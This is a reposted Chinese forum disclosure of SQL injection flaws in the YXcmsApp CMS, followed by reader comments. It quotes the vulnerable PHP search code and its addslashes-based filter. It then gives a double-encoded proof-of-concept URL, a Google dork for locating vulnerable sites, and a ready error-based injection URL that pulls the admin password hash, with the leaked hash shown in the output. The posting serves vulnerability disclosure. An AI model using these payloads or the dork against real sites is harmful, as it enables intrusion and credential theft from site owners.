YXcmsApp 注入漏洞(转载)

huise

漏洞文件protected\apps\default\controller\indexController.php

关键代码

public function search()

        {

       if(empty($_GET['keywords'])||empty($_GET['type'])) $this->error('搜索条件不足~');

       $keywords=in(urldecode(trim($_GET['keywords'])));

       $type=in($_GET['type']);

       $listRows=10;//每页显示的信息条数,2n偶数

       $url=url('index/search',array('keywords'=>urlencode($keywords),'type'=>$type,'page'=>'{page}'));

         $where="ispass='1' AND (title like '%".$keywords."%' OR description like '%".$keywords."%')";




全局过滤代码

protected\include\lib\common.function.php

function in($data,$force=false){

        if(is_string($data)){

                $data=trim(htmlspecialchars($data));//防止被挂马，跨站攻击

                if(($force==true)||(!get_magic_quotes_gpc())) {

                   $data = addslashes($data);//防止sql注入

                }

                return  $data;

        } else if(is_array($data)) {

                foreach($data as $key=>$value){

                   $data[$key]=in($value,$force);

                }

                return $data;

        } else {

                return $data;

        }       

}


keywords 靠addslashes这个过滤，无语了
漏洞证明：
http://demo.yxcms.net/index.php?r=default/index/search&keywords=a%2527%C2%95%C2%8A&type=all



出错信息： MySQL Query Error

SQL: SELECT count(*) FROM yx_news WHERE ispass='1' AND (title like '%a'•Š%' OR description like '%a'•Š%')

错误详情: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '•Š%' OR description like '%a'•Š%')' at line 1

错误代码:1064






危害



google search



inurl:index.php?r=default/page



http://www.google.com.hk/#newwindow=1&q=inurl:index.php%3Fr%3Ddefault/page&safe=strict&start=90



用的也比较多了 算通用了吧。





其实很多地方引用这个过滤。。顺便送个爆hash exp



http://demo.yxcms.net/index.php?r=default%2Fextend%2Findex&id=100023%20AND%20%28SELECT%201660%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x716d667271%2C%28SELECT%20MID%28%28IFNULL%28CAST%28password%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20yx_admin%20WHERE%20username%3D0x61646d696e%20LIMIT%200%2C1%29%2C0x716e6e7371%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29




出错信息： MySQL Query Error

SQL: SELECT id,type,name,method,url,extendid FROM yx_sort WHERE id IN(100023 AND (SELECT 1660 FROM(SELECT COUNT(*),CONCAT(0x716d667271,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) FROM yx_admin WHERE username=0x61646d696e LIMIT 0,1),0x716e6e7371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)) ORDER BY deep

错误详情: Duplicate entry 'qmfrq44f76bda33900c7a9b984674f283fdafqnnsq1' for key 'group_key'

错误代码:1062

蓝色_

这是在刷清理的节奏啊

热心网友3

感谢分享，这个漏洞分析得很详细。从代码看，`in()` 函数只用了 `addslashes` 和 `htmlspecialchars`，面对宽字节或二次编码绕过确实不够安全。那个 `%2527` 的双重编码思路也很典型。另外爆 Hash 的 EXP 直接利用了 `id` 参数未充分过滤，说明这类注入点不止一处。用的人多的话，确实值得警惕，建议站长尽快升级或补上参数化查询。